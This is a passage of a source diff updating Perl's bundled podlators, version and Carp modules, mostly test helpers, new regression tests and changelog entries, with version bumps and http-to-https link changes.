--- a/gnu/usr.bin/perl/cpan/podlators/t/lib/Test/Podlators.pm
+++ b/gnu/usr.bin/perl/cpan/podlators/t/lib/Test/Podlators.pm
@@ -31,7 +31,7 @@ our (@EXPORT_OK, @ISA, $VERSION);
# consistency is good).
BEGIN {
@ISA = qw(Exporter);
- $VERSION = '2.00';
+ $VERSION = '2.01';
@EXPORT_OK = qw(
read_snippet read_test_data slurp test_snippet test_snippet_with_io
);
@@ -93,7 +93,8 @@ sub _stderr_restore {
# Read one test snippet from the provided relative file name and return it.
# For the format, see t/data/snippets/README.
#
-# $path - Relative path to read test data from
+# $path - Relative path to read test data from
+# $encoding - Encoding of snippet (UTF-8 if not specified)
#
# Returns: Reference to hash of test data with the following keys:
# name - Name of the test for status reporting
@@ -103,15 +104,16 @@ sub _stderr_restore {
# errors - Expected errors
# exception - Text of exception (with file and line stripped)
sub read_snippet {
- my ($path) = @_;
+ my ($path, $encoding) = @_;
$path = File::Spec->catfile('t', 'data', 'snippets', $path);
+ $encoding ||= 'UTF-8';
my %data;
# Read the sections and store them in the %data hash.
my ($line, $section);
open(my $fh, '<', $path) or BAIL_OUT("cannot open $path: $!");
while (defined($line = <$fh>)) {
- $line = decode('UTF-8', $line);
+ $line = decode($encoding, $line);
if ($line =~ m{ \A \s* \[ (\S+) \] \s* \z }xms) {
$section = $1;
} elsif ($section) {
@@ -246,11 +248,14 @@ sub slurp {
# loading the snippet, creating the formatter, running it, and checking the
# results, and reports those results with Test::More.
#
-# $class - Class name of the formatter, as a string
-# $snippet - Path to the snippet file defining the test
+# $class - Class name of the formatter, as a string
+# $snippet - Path to the snippet file defining the test
+# $options_ref - Hash of options with the following keys:
+# encoding - Set to use a non-standard encoding
sub test_snippet {
- my ($class, $snippet) = @_;
- my $data_ref = read_snippet($snippet);
+ my ($class, $snippet, $options_ref) = @_;
+ my $encoding = defined($options_ref) ? $options_ref->{encoding} : undef;
+ my $data_ref = read_snippet($snippet, $encoding);
# Create the formatter object.
my $parser = $class->new(%{ $data_ref->{options} }, name => 'TEST');
@@ -278,7 +283,7 @@ sub test_snippet {
}
if ($data_ref->{exception} || $exception) {
if ($exception) {
- $exception =~ s{ [ ] at [ ] .* }{}xms;
+ $exception =~ s{ [ ] at [ ] .* }{\n}xms;
}
is($exception, $data_ref->{exception}, "$data_ref->{name}: exception");
}
@@ -391,14 +396,14 @@ should be explicitly imported.
=over 4
-=item read_snippet(PATH[, OPTIONS])
+=item read_snippet(PATH[, ENCODING])
Read one test snippet from the provided relative file name and return it. The
path should be relative to F<t/data/snippets>. For the format, see
F<t/data/snippets/README>.
-OPTIONS, if present, is a hash that currently supports only one key: C<utf8>,
-to set a PerlIO input encoding layer of UTF-8 when reading the snippet.
+ENCODING, if present, specifies the encoding of the snippet. If not given,
+the snippet is assumed to be encoded in C<UTF-8>.
The result will be a hash with the following keys:
@@ -476,20 +481,24 @@ The output data for the test. This is always present.
Read the contents of FILE and return it as a string. If STRIP is set to
C<man>, strip off any Pod::Man header from the file before returning it.
-=item test_snippet(CLASS, SNIPPET)
+=item test_snippet(CLASS, SNIPPET[, OPTIONS])
Test a formatter on a particular POD snippet. This does all the work of
loading the snippet, creating the formatter by instantiating CLASS, running
it, and checking the results. Results are reported with Test::More.
+OPTIONS, if present, is a reference to a hash of options. Currently, only
+one key is supported: C<encoding>, which, if set, specifies the encoding of
+the snippet.
+
=item test_snippet_with_io(CLASS, SNIPPET[, OPTIONS])
The same as test_snippet(), except, rather than parsing the input into a
string buffer, this function uses real, temporary input and output files.
This can be used to test I/O layer handling and proper encoding.
-OPTIONS, if present, is a reference to a hash of options. Currently, only
-one key is supported: C<perlio>, which, if set to true, will set a PerlIO
+OPTIONS, if present, is a reference to a hash of options. Currently, only one
+key is supported: C<perlio_utf8>, which, if set to true, will set a PerlIO
UTF-8 encoding layer on the output file before writing to it.
=back
@@ -500,7 +509,7 @@ Russ Allbery <rra@cpan.org>
=head1 COPYRIGHT AND LICENSE
-Copyright 2015 Russ Allbery <rra@cpan.org>
+Copyright 2015, 2016 Russ Allbery <rra@cpan.org>
This program is free software; you may redistribute it and/or modify it
under the same terms as Perl itself.
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/lib/Test/RRA.pm b/gnu/usr.bin/perl/cpan/podlators/t/lib/Test/RRA.pm
index 7e795152576..bbdb2b0213b 100644
--- a/gnu/usr.bin/perl/cpan/podlators/t/lib/Test/RRA.pm
+++ b/gnu/usr.bin/perl/cpan/podlators/t/lib/Test/RRA.pm
@@ -13,6 +13,7 @@ use strict;
use warnings;
use Exporter;
+use File::Temp;
use Test::More;
# For Perl 5.006 compatibility.
@@ -26,12 +27,56 @@ our (@EXPORT_OK, @ISA, $VERSION);
# consistency is good).
BEGIN {
@ISA = qw(Exporter);
- @EXPORT_OK = qw(skip_unless_author skip_unless_automated use_prereq);
+ @EXPORT_OK = qw(
+ is_file_contents skip_unless_author skip_unless_automated use_prereq
+ );
# This version should match the corresponding rra-c-util release, but with
# two digits for the minor version, including a leading zero if necessary,
# so that it will sort properly.
- $VERSION = '5.09';
+ $VERSION = '6.03';
+}
+
+# Compare a string to the contents of a file, similar to the standard is()
+# function, but to show the line-based unified diff between them if they
+# differ.
+#
+# $got - The output that we received
+# $expected - The path to the file containing the expected output
+# $message - The message to use when reporting the test results
+#
+# Returns: undef
+# Throws: Exception on failure to read or write files or run diff
+sub is_file_contents {
+ my ($got, $expected, $message) = @_;
+
+ # If they're equal, this is simple.
+ open(my $fh, '<', $expected) or BAIL_OUT("Cannot open $expected: $!\n");
+ my $data = do { local $/ = undef; <$fh> };
+ close($fh) or BAIL_OUT("Cannot close $expected: $!\n");
+ if ($got eq $data) {
+ is($got, $data, $message);
+ return;
+ }
+
+ # Otherwise, we show a diff, but only if we have IPC::System::Simple.
+ eval { require IPC::System::Simple };
+ if ($@) {
+ ok(0, $message);
+ return;
+ }
+
+ # They're not equal. Write out what we got so that we can run diff.
+ my $tmp = File::Temp->new();
+ my $tmpname = $tmp->filename;
+ print {$tmp} $got or BAIL_OUT("Cannot write to $tmpname: $!\n");
+ my @command = ('diff', '-u', $expected, $tmpname);
+ my $diff = IPC::System::Simple::capturex([0 .. 1], @command);
+ diag($diff);
+
+ # Remove the temporary file and report failure.
+ ok(0, $message);
+ return;
}
# Skip this test unless author tests are requested. Takes a short description
@@ -225,7 +270,7 @@ SOFTWARE.
Test::More(3), Test::RRA::Automake(3), Test::RRA::Config(3)
This module is maintained in the rra-c-util package. The current version is
-available from L<http://www.eyrie.org/~eagle/software/rra-c-util/>.
+available from L<https://www.eyrie.org/~eagle/software/rra-c-util/>.
The functions to control when tests are run use environment variables defined
by the L<Lancaster
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/lib/Test/RRA/Config.pm b/gnu/usr.bin/perl/cpan/podlators/t/lib/Test/RRA/Config.pm
index ffdfc0840a5..7390ffa7344 100644
--- a/gnu/usr.bin/perl/cpan/podlators/t/lib/Test/RRA/Config.pm
+++ b/gnu/usr.bin/perl/cpan/podlators/t/lib/Test/RRA/Config.pm
@@ -34,16 +34,16 @@ BEGIN {
# This version should match the corresponding rra-c-util release, but with
# two digits for the minor version, including a leading zero if necessary,
# so that it will sort properly.
- $VERSION = '5.09';
+ $VERSION = '6.03';
}
-# If BUILD or SOURCE are set in the environment, look for data/perl.conf under
-# those paths for a C Automake package. Otherwise, look in t/data/perl.conf
-# for a standalone Perl module or tests/data/perl.conf for Perl tests embedded
-# in a larger distribution. Don't use Test::RRA::Automake since it may not
-# exist.
+# If C_TAP_BUILD or C_TAP_SOURCE are set in the environment, look for
+# data/perl.conf under those paths for a C Automake package. Otherwise, look
+# in t/data/perl.conf for a standalone Perl module or tests/data/perl.conf for
+# Perl tests embedded in a larger distribution. Don't use Test::RRA::Automake
+# since it may not exist.
our $PATH;
-for my $base ($ENV{BUILD}, $ENV{SOURCE}, 't', 'tests') {
+for my $base ($ENV{C_TAP_BUILD}, $ENV{C_TAP_SOURCE}, './t', './tests') {
next if !defined($base);
my $path = "$base/data/perl.conf";
if (-r $path) {
@@ -70,7 +70,7 @@ our @STRICT_PREREQ;
# Load the configuration.
if (!do($PATH)) {
my $error = $@ || $! || 'loading file did not return true';
- BAIL_OUT("cannot load data/perl.conf: $error");
+ BAIL_OUT("cannot load $PATH: $error");
}
1;
@@ -98,10 +98,10 @@ for both C Automake packages and stand-alone Perl modules.
Test::RRA::Config looks for a file named F<data/perl.conf> relative to the
root of the test directory. That root is taken from the environment variables
-BUILD or SOURCE (in that order) if set, which will be the case for C Automake
-packages using C TAP Harness. If neither is set, it expects the root of the
-test directory to be a directory named F<t> relative to the current directory,
-which will be the case for stand-alone Perl modules.
+C_TAP_BUILD or C_TAP_SOURCE (in that order) if set, which will be the case for
+C Automake packages using C TAP Harness. If neither is set, it expects the
+root of the test directory to be a directory named F<t> relative to the
+current directory, which will be the case for stand-alone Perl modules.
The following variables are supported:
@@ -185,6 +185,8 @@ Russ Allbery <eagle@eyrie.org>
=head1 COPYRIGHT AND LICENSE
+Copyright 2015, 2016 Russ Allbery <eagle@eyrie.org>
+
Copyright 2013, 2014 The Board of Trustees of the Leland Stanford Junior
University
@@ -212,9 +214,9 @@ perlcritic(1), Test::MinimumVersion(3), Test::RRA(3), Test::RRA::Automake(3),
Test::Strict(3)
This module is maintained in the rra-c-util package. The current version is
-available from L<http://www.eyrie.org/~eagle/software/rra-c-util/>.
+available from L<https://www.eyrie.org/~eagle/software/rra-c-util/>.
The C TAP Harness test driver and libraries for TAP-based C testing are
-available from L<http://www.eyrie.org/~eagle/software/c-tap-harness/>.
+available from L<https://www.eyrie.org/~eagle/software/c-tap-harness/>.
=cut
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/lib/Test/RRA/ModuleVersion.pm b/gnu/usr.bin/perl/cpan/podlators/t/lib/Test/RRA/ModuleVersion.pm
index 2d779845eb0..c4e82bce73f 100644
--- a/gnu/usr.bin/perl/cpan/podlators/t/lib/Test/RRA/ModuleVersion.pm
+++ b/gnu/usr.bin/perl/cpan/podlators/t/lib/Test/RRA/ModuleVersion.pm
@@ -31,7 +31,7 @@ BEGIN {
# This version should match the corresponding rra-c-util release, but with
# two digits for the minor version, including a leading zero if necessary,
# so that it will sort properly.
- $VERSION = '5.09';
+ $VERSION = '6.03';
}
# A regular expression matching the version string for a module using the
@@ -290,6 +290,6 @@ SOFTWARE.
Test::More(3), Test::RRA::Config(3)
This module is maintained in the rra-c-util package. The current version
-is available from L<http://www.eyrie.org/~eagle/software/rra-c-util/>.
+is available from L<https://www.eyrie.org/~eagle/software/rra-c-util/>.
=cut
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/man/devise-title.t b/gnu/usr.bin/perl/cpan/podlators/t/man/devise-title.t
index afdd550352d..45f3fca3a52 100644
--- a/gnu/usr.bin/perl/cpan/podlators/t/man/devise-title.t
+++ b/gnu/usr.bin/perl/cpan/podlators/t/man/devise-title.t
@@ -30,11 +30,11 @@ my $output;
$parser->output_string(\$output);
$parser->parse_file($handle);
-# Check the results of devise_title for this. We should get back STDIN, and
-# we should have reported an error.
+# Check the results of devise_title for this. We should get back STDIN and
+# not report an error.
my ($name, $section) = $parser->devise_title;
is($name, 'STDIN', 'devise_title uses STDIN for file handle input');
-ok($parser->errors_seen, '...and errors were seen');
+ok(!$parser->errors_seen, '...and no errors were seen');
# Now check handling of a simple file name with no parent directory, which
# simulates a POD file at the top of a distribution. In podlators 4.06, this
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/man/empty.t b/gnu/usr.bin/perl/cpan/podlators/t/man/empty.t
index 613b339b5b0..3b70f82662c 100644
--- a/gnu/usr.bin/perl/cpan/podlators/t/man/empty.t
+++ b/gnu/usr.bin/perl/cpan/podlators/t/man/empty.t
@@ -1,54 +1,66 @@
-#!/usr/bin/perl -w
+#!/usr/bin/perl
#
-# man-empty.t -- Test Pod::Man with a document that produces only errors.
+# Test Pod::Man with a document that produces only errors.
#
-# Copyright 2013 Russ Allbery <rra@cpan.org>
+# Copyright 2013, 2016 Russ Allbery <rra@cpan.org>
#
# This program is free software; you may redistribute it and/or modify it
# under the same terms as Perl itself.
-BEGIN {
- chdir 't' if -d 't';
- if ($ENV{PERL_CORE}) {
- @INC = '../lib';
- }
- unshift (@INC, '../blib/lib');
- $| = 1;
-}
-
+use 5.006;
use strict;
+use warnings;
use Test::More tests => 8;
-BEGIN { use_ok ('Pod::Man') }
+
+# Load the module.
+BEGIN {
+ use_ok('Pod::Man');
+}
# Set up Pod::Man to output to a string.
my $parser = Pod::Man->new;
-isa_ok ($parser, 'Pod::Man');
+isa_ok($parser, 'Pod::Man');
my $output;
-$parser->output_string (\$output);
-
-# Try a POD document where the only command is invalid. With recent
-# Pod::Simple, there will be a POD ERRORS section. With older versions of
-# Pod::Simple, we have to skip the test since it doesn't trigger this problem.
-# Be sure that we don't get any warnings as well as any errors.
-local $SIG{__WARN__} = sub { die $_[0] };
-ok (eval { $parser->parse_string_document("=\xa0") },
+$parser->output_string(\$output);
+
+# Ensure there are no warnings by dying on a warning, forcing a test failure.
+local $SIG{__WARN__} = sub { croak($_[0]) };
+
+# Try a POD document where the only command is invalid. Make sure it succeeds
+# and doesn't throw an exception.
+## no critic (ValuesAndExpressions::ProhibitEscapedCharacters)
+ok(eval { $parser->parse_string_document("=\xa0") },
'Parsed invalid document');
-is ($@, '', '...with no errors');
+is($@, q{}, '...with no errors');
+## use critic
+
+# With recent Pod::Simple, there will be a POD ERRORS section. With older
+# versions of Pod::Simple, we have to skip the test since it doesn't trigger
+# this problem.
SKIP: {
- skip 'Pod::Simple does not produce errors for invalid commands', 1
- if $output eq q{};
- like ($output, qr{\.SH \"POD ERRORS\"},
- '...and output contains a POD ERRORS section');
+ if ($output eq q{}) {
+ skip('Pod::Simple does not produce errors for invalid commands', 1);
+ }
+ like(
+ $output,
+ qr{ [.]SH [ ] "POD [ ] ERRORS" }xms,
+ '...and output contains a POD ERRORS section'
+ );
}
# Try with a document containing only =cut.
-ok (eval { $parser->parse_string_document("=cut") },
- 'Parsed invalid document');
-is ($@, '', '...with no errors');
+ok(eval { $parser->parse_string_document('=cut') }, 'Parsed =cut document');
+is($@, q{}, '...with no errors');
+
+# Same check for a POD ERRORS section.
SKIP: {
- skip 'Pod::Simple does not produce errors for invalid commands', 1
- if $output eq q{};
- like ($output, qr{\.SH \"POD ERRORS\"},
- '...and output contains a POD ERRORS section');
+ if ($output eq q{}) {
+ skip('Pod::Simple does not produce errors for invalid commands', 1);
+ }
+ like(
+ $output,
+ qr{ [.]SH [ ] "POD [ ] ERRORS" }xms,
+ '...and output contains a POD ERRORS section'
+ );
}
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/man/iso-8859-1.t b/gnu/usr.bin/perl/cpan/podlators/t/man/iso-8859-1.t
new file mode 100644
index 00000000000..0c1dac38bef
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/man/iso-8859-1.t
@@ -0,0 +1,25 @@
+#!/usr/bin/perl
+#
+# Test Pod::Man ISO-8859-1 handling
+#
+# Copyright 2016 Russ Allbery <rra@cpan.org>
+#
+# This program is free software; you may redistribute it and/or modify it
+# under the same terms as Perl itself.
+
+use 5.006;
+use strict;
+use warnings;
+
+use lib 't/lib';
+
+use Test::More tests => 3;
+use Test::Podlators qw(test_snippet);
+
+# Load the module.
+BEGIN {
+ use_ok('Pod::Man');
+}
+
+# Test the snippet with the proper encoding.
+test_snippet('Pod::Man', 'man/iso-8859-1', { encoding => 'iso-8859-1' });
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/man/snippets.t b/gnu/usr.bin/perl/cpan/podlators/t/man/snippets.t
new file mode 100644
index 00000000000..4fa197a7aab
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/podlators/t/man/snippets.t
@@ -0,0 +1,41 @@
+#!/usr/bin/perl
+#
+# Test Pod::Man behavior with various snippets.
+#
+# Copyright 2002, 2004, 2006, 2008, 2009, 2012, 2013, 2015, 2016
+# Russ Allbery <rra@cpan.org>
+#
+# This program is free software; you may redistribute it and/or modify it
+# under the same terms as Perl itself.
+
+use 5.006;
+use strict;
+use warnings;
+
+use lib 't/lib';
+
+use Test::More tests => 93;
+use Test::Podlators qw(test_snippet);
+
+# Load the module.
+BEGIN {
+ use_ok('Pod::Man');
+}
+
+# List of snippets run by this test.
+my @snippets = qw(
+ agrave backslash-man-ref bullet-after-nonbullet bullets c-in-header
+ c-in-name dollar-magic error-die error-none error-normal
+ error-pod error-stderr error-stderr-opt eth fixed-font fixed-font-in-item
+ for-blocks hyphen-in-s item-fonts link-quoting link-to-url long-quote
+ lquote-and-quote lquote-rquote markup-in-name multiline-x name-guesswork
+ nested-lists newlines-in-c non-ascii not-bullet not-numbers nourls
+ paired-quotes periods quote-escaping rquote-none small-caps-magic
+ soft-hyphens trailing-space true-false uppercase-license x-whitespace
+ x-whitespace-entry
+);
+
+# Run all the tests.
+for my $snippet (@snippets) {
+ test_snippet('Pod::Man', "man/$snippet");
+}
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/style/minimum-version.t b/gnu/usr.bin/perl/cpan/podlators/t/style/minimum-version.t
index e4eeafd2096..c7f06898b23 100644
--- a/gnu/usr.bin/perl/cpan/podlators/t/style/minimum-version.t
+++ b/gnu/usr.bin/perl/cpan/podlators/t/style/minimum-version.t
@@ -3,7 +3,7 @@
# Check that too-new features of Perl are not being used.
#
# The canonical version of this file is maintained in the rra-c-util package,
-# which can be found at <http://www.eyrie.org/~eagle/software/rra-c-util/>.
+# which can be found at <https://www.eyrie.org/~eagle/software/rra-c-util/>.
#
# Written by Russ Allbery <eagle@eyrie.org>
# Copyright 2013, 2014
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/style/module-version.t b/gnu/usr.bin/perl/cpan/podlators/t/style/module-version.t
index 125f8a2dd39..021095ded2f 100644
--- a/gnu/usr.bin/perl/cpan/podlators/t/style/module-version.t
+++ b/gnu/usr.bin/perl/cpan/podlators/t/style/module-version.t
@@ -144,6 +144,6 @@ SOFTWARE.
=head1 SEE ALSO
This module is maintained in the rra-c-util package. The current version
-is available from L<http://www.eyrie.org/~eagle/software/rra-c-util/>.
+is available from L<https://www.eyrie.org/~eagle/software/rra-c-util/>.
=cut
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/style/strict.t b/gnu/usr.bin/perl/cpan/podlators/t/style/strict.t
index 7137b152261..5f667b94a17 100644
--- a/gnu/usr.bin/perl/cpan/podlators/t/style/strict.t
+++ b/gnu/usr.bin/perl/cpan/podlators/t/style/strict.t
@@ -3,9 +3,10 @@
# Test Perl code for strict, warnings, and syntax.
#
# The canonical version of this file is maintained in the rra-c-util package,
-# which can be found at <http://www.eyrie.org/~eagle/software/rra-c-util/>.
+# which can be found at <https://www.eyrie.org/~eagle/software/rra-c-util/>.
#
# Written by Russ Allbery <eagle@eyrie.org>
+# Copyright 2016 Russ Allbery <eagle@eyrie.org>
# Copyright 2013, 2014
# The Board of Trustees of the Leland Stanford Junior University
#
@@ -39,8 +40,9 @@ use Test::RRA qw(skip_unless_automated use_prereq);
# Skip for normal user installs since this doesn't affect functionality.
skip_unless_automated('Strictness tests');
-# Load prerequisite modules.
-use_prereq('Test::Strict');
+# Load prerequisite modules. At least 0.25 is needed to recognize that having
+# use 5.012 or later automatically implies use strict.
+use_prereq('Test::Strict', '0.25');
# Test everything in the distribution directory except the Build and
# Makefile.PL scripts generated by Module::Build. We also want to check use
diff --git a/gnu/usr.bin/perl/cpan/podlators/t/text/options.t b/gnu/usr.bin/perl/cpan/podlators/t/text/options.t
index 3338aa63c2a..ab9350c7f04 100644
--- a/gnu/usr.bin/perl/cpan/podlators/t/text/options.t
+++ b/gnu/usr.bin/perl/cpan/podlators/t/text/options.t
@@ -71,7 +71,7 @@ while (<DATA>) {
last if $_ eq "###\n";
$expected .= $_;
}
- is ($output, $expected, "Ouput correct for test $n");
+ is ($output, $expected, "Output correct for test $n");
open (ERR, "out$$.err") or die "Cannot open out$$.err: $!\n";
my $errors;
{
diff --git a/gnu/usr.bin/perl/cpan/version/t/04strict_lax.t b/gnu/usr.bin/perl/cpan/version/t/04strict_lax.t
index 25c1ddea278..861e4df2b5d 100644
--- a/gnu/usr.bin/perl/cpan/version/t/04strict_lax.t
+++ b/gnu/usr.bin/perl/cpan/version/t/04strict_lax.t
@@ -13,6 +13,29 @@ SKIP: {
strict_lax_tests();
is ref($version::LAX), 'Regexp', 'Can see $version::LAX '.$version::LAX ;
is ref($version::STRICT), 'Regexp', 'Can see $version::STRICT '.$version::STRICT;
+ { # https://rt.cpan.org/Ticket/Display.html?id=114712
+ my ($v) = ( "snapshot-1.2.3ga-001-432" =~ /($version::LAX)/ );
+ is $v, '1.2.3', "Extract just the version: $v";
+ ($v) = ( "snapshot-1.2ga-001-432" =~ /($version::LAX)/ );
+ is $v, '1.2', "Extract just the version: $v";
+ ($v) = ( "snapshot-v1.2.3ga-001-432" =~ /($version::STRICT)/ );
+ is $v, 'v1.2.3', "Extract just the version: $v";
+ }
+
+ is ref($version::LAX_DECIMAL_VERSION), 'Regexp', 'Can see $version::LAX_DECIMAL_VERSION '.$version::LAX_DECIMAL_VERSION ;
+ is ref($version::LAX_DOTTED_DECIMAL_VERSION), 'Regexp', 'Can see $version::LAX_DOTTED_DECIMAL_VERSION '.$version::LAX_DOTTED_DECIMAL_VERSION ;
+ is ref($version::STRICT_DECIMAL_VERSION), 'Regexp', 'Can see $version::STRICT_DECIMAL_VERSION '.$version::STRICT_DECIMAL_VERSION;
+ is ref($version::STRICT_DOTTED_DECIMAL_VERSION), 'Regexp', 'Can see $version::STRICT_DOTTED_DECIMAL_VERSION '.$version::STRICT_DOTTED_DECIMAL_VERSION;
+ { # https://rt.cpan.org/Ticket/Display.html?id=119669
+ ($v) = ( "snapshot-1.2.3ga-001-432" =~ /($version::LAX_DOTTED_DECIMAL_VERSION)/ );
+ is $v, '1.2.3', "Extract just the version: $v";
+ ($v) = ( "snapshot-1.2ga-001-432" =~ /($version::LAX_DECIMAL_VERSION)/ );
+ is $v, '1.2', "Extract just the version: $v";
+ ($v) = ( "snapshot-v1.2.3ga-001-432" =~ /($version::STRICT_DOTTED_DECIMAL_VERSION)/ );
+ is $v, 'v1.2.3', "Extract just the version: $v";
+ ($v) = ( "snapshot-1.2ga-001-432" =~ /($version::STRICT_DECIMAL_VERSION)/ );
+ is $v, '1.2', "Extract just the version: $v";
+ }
}
diff --git a/gnu/usr.bin/perl/cpan/version/t/11_taint.t b/gnu/usr.bin/perl/cpan/version/t/11_taint.t
new file mode 100644
index 00000000000..5307b01268a
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/version/t/11_taint.t
@@ -0,0 +1,24 @@
+#!perl -T
+use Test::More;
+use version;
+
+BEGIN {
+ eval "use Test::Taint";
+ if ($@) {
+ plan skip_all => "No Test::Taint available";
+ } else {
+ plan tests => 6;
+ }
+}
+
+taint_checking_ok();
+my $v = 'v1.2.3';
+taint($v);
+tainted_ok($v, 'Set string as tainted');
+my $v2 = version->parse($v);
+isnt("$v2", '', 'Correctly parsed the tainted string');
+tainted_ok($v2, 'Resulting version object is tainted');
+
+my $vs = "$v2";
+tainted_ok($vs, 'Stringified object still tainted');
+is $v2, 'v1.2.3', 'Comparison to tainted object';
diff --git a/gnu/usr.bin/perl/dist/Carp/Changes b/gnu/usr.bin/perl/dist/Carp/Changes
index dca6a522cfe..2b549d97de1 100644
--- a/gnu/usr.bin/perl/dist/Carp/Changes
+++ b/gnu/usr.bin/perl/dist/Carp/Changes
@@ -1,3 +1,51 @@
+version 1.49
+
+ * comment only change, document the change from 1.47 better
+ and create a commit in blead-perl which can be used to
+ reference this issue from the bug report.
+
+version 1.48
+
+ * guard against hand-rolled UNIVERSAL::can() implementations
+ which throw exceptions when we call $obj->can("((").
+
+version 1.47, 1.47_02
+
+ * Deal with overloading when overload.pm is not use
+
+ * Note 1.47_02 only existed for one commit in blead-perl,
+ and in fact no 1.47 should ever see the wild.
+
+version 1.47, 1.47_01
+
+ * Do not die on trappable stack-not-refcounted bugs while
+ serializing the stack.
+
+ * Note 1.47_01 only existed for one commit in blead-perl,
+ and in fact no 1.47 should ever see the wild.
+
+version 1.46
+
+ * avoid vivifying UNIVERSAL::isa:: in Carp
+
+version 1.45
+
+ * Optimize format_arg when arguments contain many references
+
+version 1.43
+
+ * fix problems introduced by the partial EBCDIC support from version
+ 1.35
+
+version 1.42
+
+ * add some doc clue about what cluck does
+
+ * avoid floating point overflow in test
+
+version 1.41
+
+ * add missing "<FH> chunk #" phrase to messages
version 1.40; 2016-03-10
* Get arg_string.t to compile in perl v5.6
diff --git a/gnu/usr.bin/perl/dist/Carp/t/Carp_overloadless.t b/gnu/usr.bin/perl/dist/Carp/t/Carp_overloadless.t
new file mode 100644
index 00000000000..f4bda044ee9
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Carp/t/Carp_overloadless.t
@@ -0,0 +1,15 @@
+use warnings;
+#no warnings 'once';
+use Test::More tests => 1;
+
+use Carp;
+
+# test that enabling overload without loading overload.pm does not trigger infinite recursion
+
+my $p = "OverloadedInXS";
+*{$p."::(("} = sub{};
+*{$p.q!::(""!} = sub { Carp::cluck "<My Stringify>" };
+sub { Carp::longmess("longmess:") }->(bless {}, $p);
+ok(1);
+
+
diff --git a/gnu/usr.bin/perl/dist/Carp/t/broken_can.t b/gnu/usr.bin/perl/dist/Carp/t/broken_can.t
new file mode 100644
index 00000000000..c32fa1909df
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Carp/t/broken_can.t
@@ -0,0 +1,15 @@
+use Test::More tests => 1;
+
+# [perl #132910]
+
+package Foo;
+sub can { die }
+
+package main;
+
+use Carp;
+
+eval {
+ sub { confess-sins }->(bless[], Foo);
+};
+like $@, qr/^-sins at /;
diff --git a/gnu/usr.bin/perl/dist/Carp/t/broken_univ_can.t b/gnu/usr.bin/perl/dist/Carp/t/broken_univ_can.t
new file mode 100644
index 00000000000..0ec19d7aa31
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Carp/t/broken_univ_can.t
@@ -0,0 +1,24 @@
+# [perl #132910]
+# This mock-up breaks Test::More. Don’t use Test::More.
+
+sub UNIVERSAL::can { die; }
+
+# Carp depends on this to detect the override:
+BEGIN { $UNIVERSAL::can::VERSION = 0xbaff1ed_bee; }
+
+use Carp;
+
+eval {
+ sub { confess-sins }->(bless[], Foo);
+};
+print "1..1\n";
+if ($@ !~ qr/^-sins at /) {
+ print "not ok 1\n";
+ print "# Expected -sins at blah blah blah...\n";
+ print "# Instead, we got:\n";
+ $@ =~ s/^/# /mg;
+ print $@;
+}
+else {
+ print "ok 1\n";
+}
diff --git a/gnu/usr.bin/perl/dist/Carp/t/stack_after_err.t b/gnu/usr.bin/perl/dist/Carp/t/stack_after_err.t
new file mode 100644
index 00000000000..57dbc233d13
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Carp/t/stack_after_err.t
@@ -0,0 +1,69 @@
+use strict;
+use warnings;
+use Config;
+use IPC::Open3 1.0103 qw(open3);
+
+BEGIN {
+ if ($^O eq 'VMS') {
+ print "1..0 # IPC::Open3 needs porting\n";
+ exit;
+ }
+}
+
+my @tests=(
+ # Make sure we don’t try to load modules on demand in the presence of over-
+ # loaded args. If there has been a syntax error, they won’t load.
+ [ 'Carp does not try to load modules on demand for overloaded args',
+ "", qr/Looks lark.*o=ARRAY.* CODE/s,
+ ],
+ # Run the test also in the presence of
+ # a) A UNIVERSAL::can module
+ # b) A UNIVERSAL::isa module
+ # c) Both
+ # since they follow slightly different code paths on old pre-5.10.1 perls.
+ [ 'StrVal fallback in the presence of UNIVERSAL::isa',
+ 'BEGIN { $UNIVERSAL::isa::VERSION = 1 }',
+ qr/Looks lark.*o=ARRAY.* CODE/s,
+ ],
+ [ 'StrVal fallback in the presence of UNIVERSAL::can',
+ 'BEGIN { $UNIVERSAL::can::VERSION = 1 }',
+ qr/Looks lark.*o=ARRAY.* CODE/s,
+ ],
+ [ 'StrVal fallback in the presence of UNIVERSAL::can/isa',
+ 'BEGIN { $UNIVERSAL::can::VERSION = $UNIVERSAL::isa::VERSION = 1 }',
+ qr/Looks lark.*o=ARRAY.* CODE/s,
+ ],
+);
+
+my ($test_num)= @ARGV;
+if (!$test_num) {
+ eval sprintf "use Test::More tests => %d; 1", 0+@tests
+ or die "Failed to use Test::More: $@";
+ local $ENV{PERL5LIB} = join ($Config::Config{path_sep}, @INC);
+ foreach my $i (1 .. @tests) {
+ my($w, $r);
+ my $pid = open3($w, $r, undef, $^X, $0, $i);
+ close $w;
+ my $output = do{ local $/; <$r> };
+ waitpid($pid, 0);
+ like($output, $tests[$i-1][2], $tests[$i-1][0]);
+ }
+} else {
+ eval $tests[$test_num-1][1] . <<'END_OF_TEST_CODE'
+ no strict;
+ no warnings;
+ use Carp;
+ sub foom {
+ Carp::confess("Looks lark we got a error: $_[0]")
+ }
+ BEGIN {
+ *{"o::()"} = sub {};
+ *{'o::(""'} = sub {"hay"};
+ $o::OVERLOAD{dummy}++; # perls before 5.18 need this
+ *{"CODE::()"} = sub {};
+ $SIG{__DIE__} = sub { foom (@_, bless([], o), sub {}) }
+ }
+ $a +
+END_OF_TEST_CODE
+ or die $@;
+}
diff --git a/gnu/usr.bin/perl/dist/Carp/t/vivify_stash.t b/gnu/usr.bin/perl/dist/Carp/t/vivify_stash.t
index 0ac66d89e03..744d0d25849 100644
--- a/gnu/usr.bin/perl/dist/Carp/t/vivify_stash.t
+++ b/gnu/usr.bin/perl/dist/Carp/t/vivify_stash.t
@@ -1,25 +1,25 @@
BEGIN { print "1..5\n"; }
